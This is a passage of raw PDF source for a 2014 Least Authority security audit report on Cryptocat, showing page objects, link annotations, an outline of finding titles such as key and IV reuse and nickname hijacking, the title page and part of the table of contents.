/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page14': class PDFPage
103 0 obj
% Page dictionary
<< /Contents 191 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER82': class LinkAnnotation
104 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 142 0 R
/XYZ
62.69291
768.5236
0 ]
/Rect [ 477.2606
423.7736
531.7306
435.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER83': class LinkAnnotation
105 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 142 0 R
/XYZ
62.69291
768.5236
0 ]
/Rect [ 62.69291
411.7736
171.0729
423.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page15': class PDFPage
106 0 obj
% Page dictionary
<< /Annots [ 104 0 R
105 0 R ]
/Contents 192 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER84': class LinkAnnotation
107 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 142 0 R
/XYZ
62.69291
768.5236
0 ]
/Rect [ 441.7456
612.7736
530.7941
624.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER85': class LinkAnnotation
108 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 142 0 R
/XYZ
62.69291
768.5236
0 ]
/Rect [ 85.69291
600.7736
164.2039
612.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page16': class PDFPage
109 0 obj
% Page dictionary
<< /Annots [ 107 0 R
108 0 R ]
/Contents 193 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page17': class PDFPage
110 0 obj
% Page dictionary
<< /Contents 194 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER86': class LinkAnnotation
111 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
474.0236
0 ]
/Rect [ 429.104
402.7736
531.9734
414.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER87': class LinkAnnotation
112 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
474.0236
0 ]
/Rect [ 62.69291
390.7736
98.27291
402.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER88': class PDFDictionary
113 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://otr.cypherpunks.ca/Protocol-v3-4.0.0.html) >>
/Border [ 0
0
0 ]
/Rect [ 257.1003
99.77362
451.2777
111.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page18': class PDFPage
114 0 obj
% Page dictionary
<< /Annots [ 111 0 R
112 0 R
113 0 R ]
/Contents 195 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER89': class PDFDictionary
115 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/cryptocat/cryptocat/blob/80f41fdfac5ed503d0837d8fa29f6364a73478be/CHANGELOG.md#cryptocat-2114) >>
/Border [ 0
0
0 ]
/Rect [ 420.7247
636.7736
501.2947
648.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER90': class PDFDictionary
116 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/cryptocat/cryptocat/wiki/OTR-Encrypted-File-Transfer-Specification) >>
/Border [ 0
0
0 ]
/Rect [ 85.69291
288.7736
463.0229
300.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER91': class PDFDictionary
117 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/strophe/strophejs/issues/35) >>
/Border [ 0
0
0 ]
/Rect [ 85.69291
162.7736
289.1229
174.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER92': class LinkAnnotation
118 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 91 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 268.6259
150.7736
532.0308
162.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER93': class LinkAnnotation
119 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 91 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 85.69291
138.7736
148.4929
150.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER94': class LinkAnnotation
120 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 139 0 R
/XYZ
62.69291
768.5236
0 ]
/Rect [ 172.7429
120.7736
276.4628
132.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page19': class PDFPage
121 0 obj
% Page dictionary
<< /Annots [ 115 0 R
116 0 R
117 0 R
118 0 R
119 0 R
120 0 R ]
/Contents 196 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER95': class LinkAnnotation
122 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
213.0236
0 ]
/Rect [ 508.1227
369.7736
531.0133
381.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER96': class LinkAnnotation
123 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
213.0236
0 ]
/Rect [ 85.69291
357.7736
190.9209
369.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page20': class PDFPage
124 0 obj
% Page dictionary
<< /Annots [ 122 0 R
123 0 R ]
/Contents 197 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER97': class LinkAnnotation
125 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 99 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 201.0734
651.7736
530.8486
663.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER98': class LinkAnnotation
126 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 99 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 85.69291
639.7736
236.3029
651.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER99': class LinkAnnotation
127 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 99 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 311.7559
579.7736
531.3308
591.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER100': class LinkAnnotation
128 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 99 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 85.69291
567.7736
337.4429
579.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER101': class LinkAnnotation
129 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 83 0 R
/XYZ
62.69291
735.0236
0 ]
/Rect [ 495.3527
198.7736
531.4827
210.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER102': class LinkAnnotation
130 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 83 0 R
/XYZ
62.69291
735.0236
0 ]
/Rect [ 108.6929
186.7736
378.5781
198.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER103': class LinkAnnotation
131 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 86 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 399.4322
186.7736
531.1886
198.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER104': class LinkAnnotation
132 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 86 0 R
/XYZ
62.69291
768.0236
0 ]
/Rect [ 108.6929
174.7736
207.0529
186.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page21': class PDFPage
133 0 obj
% Page dictionary
<< /Annots [ 125 0 R
126 0 R
127 0 R
128 0 R
129 0 R
130 0 R
131 0 R
132 0 R ]
/Contents 198 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page22': class PDFPage
134 0 obj
% Page dictionary
<< /Contents 199 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page23': class PDFPage
135 0 obj
% Page dictionary
<< /Contents 200 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page24': class PDFPage
136 0 obj
% Page dictionary
<< /Contents 201 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER105': class PDFDictionary
137 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/cryptocat/cryptocat/issues/500) >>
/Border [ 0
0
0 ]
/Rect [ 62.69291
714.7736
108.8329
726.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER106': class PDFDictionary
138 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/cryptocat/cryptocat/wiki/OTR-Encrypted-File-Transfer-Specification) >>
/Border [ 0
0
0 ]
/Rect [ 135.9329
384.7736
284.3029
396.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page25': class PDFPage
139 0 obj
% Page dictionary
<< /Annots [ 137 0 R
138 0 R ]
/Contents 202 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER107': class PDFDictionary
140 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/arlolra/otr/issues/41) >>
/Border [ 0
0
0 ]
/Rect [ 441.4129
714.7736
503.1029
726.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page26': class PDFPage
141 0 obj
% Page dictionary
<< /Annots [ 140 0 R ]
/Contents 203 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page27': class PDFPage
142 0 obj
% Page dictionary
<< /Contents 204 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'R143': class PDFCatalog
143 0 obj
% Document Root
<< /Outlines 145 0 R
/PageLabels 205 0 R
/PageMode /UseNone
/Pages 177 0 R
/Type /Catalog >>
endobj
% 'R144': class PDFInfo
144 0 obj
<< /Author ()
/CreationDate (D:20140126220900+00'00')
/Creator (\(unspecified\))
/Keywords ()
/Producer (ReportLab PDF Library - www.reportlab.com)
/Subject (\(unspecified\))
/Title (Report of Security Audit of Cryptocat) >>
endobj
% 'R145': class PDFOutlines
145 0 obj
<< /Count 39
/First 146 0 R
/Last 176 0 R
/Type /Outlines >>
endobj
% 'Outline.0': class OutlineEntryObject
146 0 obj
<< /Count 3
/Dest [ 77 0 R
/XYZ
62.69291
156.0236
0 ]
/First 147 0 R
/Last 148 0 R
/Next 150 0 R
/Parent 145 0 R
/Title (Overview) >>
endobj
% 'Outline.32.0': class OutlineEntryObject
147 0 obj
<< /Dest [ 82 0 R
/XYZ
62.69291
741.0236
0 ]
/Next 148 0 R
/Parent 146 0 R
/Title (Audit Scope) >>
endobj
% 'Outline.32.1': class OutlineEntryObject
148 0 obj
<< /Count 1
/Dest [ 82 0 R
/XYZ
62.69291
597.0236
0 ]
/First 149 0 R
/Last 149 0 R
/Parent 146 0 R
/Prev 147 0 R
/Title (Coverage) >>
endobj
% 'Outline.33.0': class OutlineEntryObject
149 0 obj
<< /Dest [ 82 0 R
/XYZ
62.69291
333.0236
0 ]
/Parent 148 0 R
/Title (Target Code and Revision) >>
endobj
% 'Outline.1': class OutlineEntryObject
150 0 obj
<< /Count 14
/Dest [ 83 0 R
/XYZ
62.69291
765.0236
0 ]
/First 151 0 R
/Last 163 0 R
/Next 165 0 R
/Parent 145 0 R
/Prev 146 0 R
/Title (Findings) >>
endobj
% 'Outline.34.0': class OutlineEntryObject
151 0 obj
<< /Dest [ 83 0 R
/XYZ
62.69291
732.0236
0 ]
/Next 152 0 R
/Parent 150 0 R
/Title (Issue A. Disclosure of File Contents Due to Re-use Of Key and IV) >>
endobj
% 'Outline.34.1': class OutlineEntryObject
152 0 obj
<< /Dest [ 86 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 153 0 R
/Parent 150 0 R
/Prev 151 0 R
/Title (Issue B. Integrity Key and IV Reuse in File Transfer) >>
endobj
% 'Outline.34.2': class OutlineEntryObject
153 0 obj
<< /Dest [ 88 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 154 0 R
/Parent 150 0 R
/Prev 152 0 R
/Title (Mitigation for Issues A and B) >>
endobj
% 'Outline.34.3': class OutlineEntryObject
154 0 obj
<< /Count 3
/Dest [ 88 0 R
/XYZ
62.69291
471.0236
0 ]
/First 155 0 R
/Last 157 0 R
/Next 158 0 R
/Parent 150 0 R
/Prev 153 0 R
/Title (Remediation for Issues A and B) >>
endobj
% 'Outline.35.0': class OutlineEntryObject
155 0 obj
<< /Dest [ 88 0 R
/XYZ
62.69291
315.0236
0 ]
/Next 156 0 R
/Parent 154 0 R
/Title (Versioning) >>
endobj
% 'Outline.35.1': class OutlineEntryObject
156 0 obj
<< /Dest [ 90 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 157 0 R
/Parent 154 0 R
/Prev 155 0 R
/Title (Generate per-file keys) >>
endobj
% 'Outline.35.2': class OutlineEntryObject
157 0 obj
<< /Dest [ 90 0 R
/XYZ
62.69291
468.8236
0 ]
/Parent 154 0 R
/Prev 156 0 R
/Title (New standard file transfer protocol) >>
endobj
% 'Outline.34.4': class OutlineEntryObject
158 0 obj
<< /Dest [ 91 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 159 0 R
/Parent 150 0 R
/Prev 154 0 R
/Title (Issue C. Substitution of File Contents By Hijacking Entry in User Interface) >>
endobj
% 'Outline.34.5': class OutlineEntryObject
159 0 obj
<< /Dest [ 98 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 160 0 R
/Parent 150 0 R
/Prev 158 0 R
/Title (Issue D. File Name, Mimetype, and Size Lack Confidentiality) >>
endobj
% 'Outline.34.6': class OutlineEntryObject
160 0 obj
<< /Dest [ 99 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 161 0 R
/Parent 150 0 R
/Prev 159 0 R
/Title (Issue E. You Log Out, Attacker Logs in with the same Nickname, Your Friend Thinks The Attacker is You) >>
endobj
% 'Outline.34.7': class OutlineEntryObject
161 0 obj
<< /Dest [ 103 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 162 0 R
/Parent 150 0 R
/Prev 160 0 R
/Title (Issue F. Nicknames Can Be Invisibly Reassigned) >>
endobj
% 'Outline.34.8': class OutlineEntryObject
162 0 obj
<< /Dest [ 106 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 163 0 R
/Parent 150 0 R
/Prev 161 0 R
/Title (Issue G. Capture of Sent Messages by Nickname Change) >>
endobj
% 'Outline.34.9': class OutlineEntryObject
163 0 obj
<< /Count 1
/Dest [ 110 0 R
/XYZ
62.69291
765.0236
0 ]
/First 164 0 R
/Last 164 0 R
/Parent 150 0 R
/Prev 162 0 R
/Title (Issues Without Known Exploits) >>
endobj
% 'Outline.36.0': class OutlineEntryObject
164 0 obj
<< /Dest [ 110 0 R
/XYZ
62.69291
693.0236
0 ]
/Parent 163 0 R
/Title (CTR-mode Overflow) >>
endobj
% 'Outline.2': class OutlineEntryObject
165 0 obj
<< /Count 6
/Dest [ 114 0 R
/XYZ
62.69291
765.0236
0 ]
/First 166 0 R
/Last 171 0 R
/Next 172 0 R
/Parent 145 0 R
/Prev 150 0 R
/Title (Future Work) >>
endobj
% 'Outline.37.0': class OutlineEntryObject
166 0 obj
<< /Count 4
/Dest [ 114 0 R
/XYZ
62.69291
732.0236
0 ]
/First 167 0 R
/Last 170 0 R
/Next 171 0 R
/Parent 165 0 R
/Title (Protocol Analysis, Design, and Implementation) >>
endobj
% 'Outline.38.0': class OutlineEntryObject
167 0 obj
<< /Dest [ 114 0 R
/XYZ
62.69291
660.0236
0 ]
/Next 168 0 R
/Parent 166 0 R
/Title (Multiparty Chat) >>
endobj
% 'Outline.38.1': class OutlineEntryObject
168 0 obj
<< /Dest [ 114 0 R
/XYZ
62.69291
459.0236
0 ]
/Next 169 0 R
/Parent 166 0 R
/Prev 167 0 R
/Title (File Transfer) >>
endobj
% 'Outline.38.2': class OutlineEntryObject
169 0 obj
<< /Dest [ 114 0 R
/XYZ
62.69291
378.0236
0 ]
/Next 170 0 R
/Parent 166 0 R
/Prev 168 0 R
/Title (OTR & Cryptographic Libraries) >>
endobj
% 'Outline.38.3': class OutlineEntryObject
170 0 obj
<< /Dest [ 114 0 R
/XYZ
62.69291
309.0236
0 ]
/Parent 166 0 R
/Prev 169 0 R
/Title (JavaScript Cryptography) >>
endobj
% 'Outline.37.1': class OutlineEntryObject
171 0 obj
<< /Dest [ 114 0 R
/XYZ
62.69291
210.0236
0 ]
/Parent 165 0 R
/Prev 166 0 R
/Title (Open Questions & Concerns) >>
endobj
% 'Outline.3': class OutlineEntryObject
172 0 obj
<< /Count 1
/Dest [ 124 0 R
/XYZ
62.69291
765.0236
0 ]
/First 173 0 R
/Last 173 0 R
/Next 174 0 R
/Parent 145 0 R
/Prev 165 0 R
/Title (Recommendations) >>
endobj
% 'Outline.39.0': class OutlineEntryObject
173 0 obj
<< /Dest [ 124 0 R
/XYZ
62.69291
732.0236
0 ]
/Parent 172 0 R
/Title (Coding Practices) >>
endobj
% 'Outline.4': class OutlineEntryObject
174 0 obj
<< /Dest [ 133 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 175 0 R
/Parent 145 0 R
/Prev 172 0 R
/Title (Appendix A: The life cycle of the Cryptocat file transfer) >>
endobj
% 'Outline.5': class OutlineEntryObject
175 0 obj
<< /Dest [ 139 0 R
/XYZ
62.69291
765.0236
0 ]
/Next 176 0 R
/Parent 145 0 R
/Prev 174 0 R
/Title (Appendix B: Work Log) >>
endobj
% 'Outline.6': class OutlineEntryObject
176 0 obj
<< /Dest [ 142 0 R
/XYZ
62.69291
765.0236
0 ]
/Parent 145 0 R
/Prev 175 0 R
/Title (Appendix C: Exploit Code for Issue G) >>
endobj
% 'R177': class PDFPages
177 0 obj
% page tree
<< /Count 27
/Kids [ 8 0 R
77 0 R
82 0 R
83 0 R
85 0 R
86 0 R
88 0 R
90 0 R
91 0 R
95 0 R
98 0 R
99 0 R
102 0 R
103 0 R
106 0 R
109 0 R
110 0 R
114 0 R
121 0 R
124 0 R
133 0 R
134 0 R
135 0 R
136 0 R
139 0 R
141 0 R
142 0 R ]
/Type /Pages >>
endobj
% 'R178': class PDFStream
178 0 obj
% page stream
<< /Length 2108 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 741.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 4 Tm /F2 20 Tf 24 TL 58.26488 0 Td (Report of Security Audit of Cryptocat) Tj T* -58.26488 0 Td ET
Q
Q
q
1 0 0 1 62.69291 725.0236 cm
Q
q
1 0 0 1 62.69291 725.0236 cm
Q
q
1 0 0 1 62.69291 641.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 69 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 69 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Principal Investigators:) Tj T* ET
Q
Q
q
1 0 0 1 23 63 cm
Q
q
1 0 0 1 23 63 cm
Q
q
1 0 0 1 23 51 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Nathan Wilcox <) Tj 0 0 .501961 rg (nathan@LeastAuthority.com) Tj 0 0 0 rg (>) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 45 cm
Q
q
1 0 0 1 23 33 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Zooko Wilcox-O'Hearn <) Tj 0 0 .501961 rg (zooko@LeastAuthority.com) Tj 0 0 0 rg (>) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 27 cm
Q
q
1 0 0 1 23 15 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Daira Hopwood <) Tj 0 0 .501961 rg (daira@LeastAuthority.com) Tj 0 0 0 rg (>) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 9 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Darius Bacon <) Tj 0 0 .501961 rg (darius@LeastAuthority.com) Tj 0 0 0 rg (>) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 641.0236 cm
Q
endstream
endobj
% 'R179': class PDFStream
179 0 obj
% page stream
<< /Length 9107 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 744.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Contents) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 168.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 0 555 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 .501961 rg (Overview) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 555 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL 66.44 0 Td (2) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 537 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Audit Scope) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 537 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (3) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 519 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Coverage) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 519 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (3) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 501 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Target Code and Revision) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 501 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (3) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 483 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 .501961 rg (Findings) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 483 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL 66.44 0 Td (4) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 465 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issue A. Disclosure of File Contents Due to Re-use Of Key and IV) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 465 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (4) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 447 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issue B. Integrity Key and IV Reuse in File Transfer) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 447 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (6) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 429 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Mitigation for Issues A and B) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 429 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (7) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 411 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Remediation for Issues A and B) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 411 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (7) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 393 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Versioning) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 393 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (7) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 375 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Generate per-file keys) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 375 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (8) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 357 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (New standard file transfer protocol) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 357 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (8) Tj T* -66.44 0 Td ET
Q
